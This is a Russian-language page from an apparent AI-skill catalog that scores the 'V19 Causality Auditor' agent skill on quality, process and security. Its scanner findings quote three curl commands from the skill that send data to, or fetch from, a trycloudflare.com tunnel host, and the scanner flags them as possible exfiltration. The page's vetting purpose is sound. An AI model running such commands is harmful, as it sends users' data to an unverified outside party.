SKILLEMALL.ai
EN Войти

BC v19-causal-auditor

V19 Causality Auditor — автоматически анализирует цепочки принятия решений, выявляет причинно-следственные конфликты, выдает рекомендации по аудиту. Основан на ранней итерационной версии V19 (V46 Causality Auditor), переупакован как отдельный Skill.

машинный переводПоказать оригиналСкрыть оригинал«V19因果审计器 — 自动分析决策链路，识别因果冲突，输出审计建议。源自V19早期迭代版本（V46因果审计器），重新封装为独立Skill。…»

V19因果审计器 — 自动分析决策链路，识别因果冲突，输出审计建议。源自V19早期迭代版本（V46因果审计器），重新封装为独立Skill。

ClawHub Agent Skills автор: Liuyanfeng1234 v1.0.0 MIT-0 2 файла тело ≈ 421 токенов Открыть источникclawhub.ai↗ проанализирован 2 дн назад

V19 Causality Auditor — автоматически анализирует цепочки принятия решений, выявляет причинно-следственные конфликты, выдает рекомендации по аудиту.

Как процесс C 53/100 · Есть пробелы — слабые места: результат и критерий готовности, когда включается, входы и предусловия

АнализаторИнфраструктуратип и темы размечены автоматически по тексту скилла
Запускается в: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Технический рейтинг
B
79/100
безопасность, качество, тесты
Безопасность 60%
85
Качество 40%
69
Прогон на моделях
не было
Процессный рейтинг
C
53/100
Есть пробелы
Результат и критерий готовности вес 14
0
Входы и предусловия вес 11
0
Ошибки и развилки вес 10
0
три самых слабых из десяти параметров · все десять

Чем это грозит

Находки средней серьёзности: скорее всего скилл честный, но прочитайте, что именно насторожило сканер.

Утечка данных средняя серьёзность

Ниже описан худший случай для этой категории. Здесь находка средней серьёзности: guard увидел признак, но не доказательство.

Если установить

Инструкции или скрипты отправляют данные наружу: переменные окружения, ключи, содержимое файлов, историю чата. Вы можете не заметить этого в диалоге, потому что агент выполнит отправку как «часть задачи».

Автору

Если отправка не нужна для задачи, уберите её: каталоги помечают такие скиллы как подозрительные и снимают с выдачи. Если нужна, назовите адрес явно, объясните, что именно уходит, и дайте пользователю выключатель.

Как улучшить

  1. Скажите в description, КОГДА применять скилл («используй, когда…», примеры запросов): это главный сигнал для агента.
Для прогона на моделях — необязательно
  • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
  • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

Находки guard · 3

✓ Критических и высоких находок нет

Средние и низкие: 3
  • средняя Утечка данных exfil-webhook-url SKILL.md:45
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (документация security-скилла)
    curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/causal-trace \
    security-скилл
  • средняя Утечка данных exfil-webhook-url SKILL.md:69
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (документация security-скилла)
    curl -s https://boat-atlas-spa-flexible.trycloudflare.com/governance/health \
    security-скилл
  • средняя Утечка данных exfil-webhook-url SKILL.md:76
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (документация security-скилла)
    curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/register \
    security-скилл

Просканировано файлов: 2. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

По спецификации Agent Skills

  • предупреждение description-no-when description не говорит, КОГДА применять скилл (нет "use when / используй когда")

Процессный рейтинг: все десять параметров 53/100

  • 0Результат и критерий готовности. Не сказано, что считать результатом
  • 0Входы и предусловия. Не сказано, что нужно иметь на входе
  • 0Ошибки и развилки. Линейный процесс без обработки сбоев
  • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
  • 20Когда включается. Не сказано, при каком запросе скилл включается
  • 100Инструменты и файлы. Внешние инструменты не нужны
  • 100Шаги. Шагов: 12
  • 100Согласованность. Имя и обязательные поля на месте
  • 100Стоимость исполнения. Тело инструкции 421 токенов
  • 100Повторный запуск. Изменяющих операций нет

Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

Сигналы качества

  • +5В description нет примеров фраз, по которым скилл должен срабатывать
  • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
  • +3Длина description 69: рекомендуется 120–800 символов
  • +3Формат ответа не описан: модель каждый раз решает сама
  • +1Лицензия не указана
  • +2Инструкции на одном языке
  • +4Структура: 11 заголовков
  • +3Пошаговые инструкции: 12 пунктов
  • +4Есть примеры (3 блоков кода)

База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 69.

Внешние проверки

ClawHub: suspicious
The skill is documentation-only, but it sends decision data to an external governance service and describes automatic, permanent audit actions without enough user control or privacy detail.
LLM: suspicious (high) · VirusTotal: · 29 мая 2026 г.